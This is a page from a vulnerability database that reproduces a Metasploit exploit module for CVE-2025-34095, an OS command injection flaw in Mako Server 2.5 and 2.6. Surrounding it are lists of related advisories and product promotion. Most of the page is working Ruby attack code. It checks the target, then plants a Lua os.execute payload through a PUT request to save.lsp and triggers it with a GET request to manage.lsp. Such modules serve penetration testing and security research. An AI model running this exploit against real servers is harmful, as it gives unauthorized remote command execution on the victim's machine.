Lucene search
+L

Mako Server v2.5, 2.6 OS Command Injection RCE

This module exploits a vulnerability found in Mako Server v2.5, 2.6. It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2025-34095
29 May 201815:50
circl
cnnvd
CNNVD
Real Time Logic Mako Server 操作系统命令注入漏洞
10 Jul 202500:00
cnnvd
cve
CVE
CVE-2025-34095
10 Jul 202519:14
cve
cvelist
Cvelist
CVE-2025-34095 Mako Server v2.5 and v2.6 OS Command Injection via examples/save.lsp
10 Jul 202519:14
cvelist
euvd
EUVD
EUVD-2025-21031
3 Oct 202520:07
euvd
nvd
NVD
CVE-2025-34095
10 Jul 202520:15
nvd
ptsecurity
Positive Technologies
PT-2025-29137 · Unknown · Mako Server
10 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2025-34095
12 Jul 202519:24
redhatcve
vulnrichment
Vulnrichment
CVE-2025-34095 Mako Server v2.5 and v2.6 OS Command Injection via examples/save.lsp
10 Jul 202519:14
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mako Server v2.5, 2.6 OS Command Injection RCE',
        'Description' => %q{
          This module exploits a vulnerability found in Mako Server v2.5, 2.6.
          It's possible to inject arbitrary OS commands in the Mako Server
          tutorial page through a PUT request to save.lsp.

          Attacker input will be saved on the victims machine and can
          be executed by sending a GET request to manage.lsp.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure', # Vulnerability discovery & PoC
          'Steven Patterson (Shogun Lab) <steven[at]shogunlab.com>' # Metasploit module
        ],
        'References' => [
          ['CVE', '2025-34095'],
          ['EDB', '42683'],
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3391']
        ],
        'Arch' => ARCH_CMD,
        'Platform' => %w[win unix],
        'Targets' => [
          ['Mako Server v2.5, 2.6', {}]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2017-09-03',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'URI path to the Mako Server app', '/'])
      ]
    )
  end

  def check
    vprint_status('Trying to detect running Mako Server and necessary files...')

    # Send GET request to determine existence of save.lsp page
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'examples/save.lsp')
    }, 20)

    # If response does not include "MakoServer.net", target is not viable.
    return CheckCode::Unknown('No response received from the target') unless res

    if res.headers['Server'] !~ /MakoServer\.net/
      vprint_warning('Target is not a Mako Server.')
      return CheckCode::Safe('The target is not vulnerable')
    end

    if res.body
      if res.body.include?('Incorrect usage')
        # We are able to determine that the server has a save.lsp page and
        # returns the correct output.
        vprint_status('Mako Server save.lsp returns correct ouput.')
        return CheckCode::Appears('The target appears vulnerable based on response body')
      else
        # The page exists, but is not returning the expected output.
        # May be a different version?
        vprint_warning('Mako Server save.lsp did not return expected output.')
        return CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
      end
    else
      # The above checks failed and exploitability could not be determined.
      vprint_error('Unable to determine exploitability, save.lsp not found.')
      return CheckCode::Unknown('An error occurred while checking the target')
    end
  end

  def exploit
    print_status('Sending payload to target...')

    # The double square brackets helps to ensure single/double quotes
    # in cmd payload do not interfere with syntax of os.execute Lua function.
    cmd = %{os.execute([[#{payload.encoded}]])}

    # If users want to troubleshoot their cmd payloads, they can see the
    # Lua function with params that the module uses in a more verbose mode.
    vprint_status("Now executing the following command: #{cmd}")

    # Send a PUT request to save.lsp with command payload
    begin
      vprint_status('Sending PUT request to save.lsp...')
      send_request_cgi({
        'method' => 'PUT',
        'uri' => normalize_uri(target_uri.path, 'examples/save.lsp'),
        'ctype' => 'text/plain',
        'data' => cmd,
        'vars_get' => {
          'ex' => '2.1'
        }
      }, 20)
    rescue StandardError => e
      fail_with(Failure::NoAccess, "Error: #{e}")
    end

    # Send a GET request to manage.lsp with execute set to true
    begin
      vprint_status('Sending GET request to manage.lsp...')
      send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'examples/manage.lsp'),
        'vars_get' => {
          'execute' => 'true',
          'ex' => '2.1',
          'type' => 'lua'
        }
      }, 20)
    rescue StandardError => e
      fail_with(Failure::NoAccess, "Error: #{e}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Sep 2017 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 49.3
EPSS0.06302
SSVC
38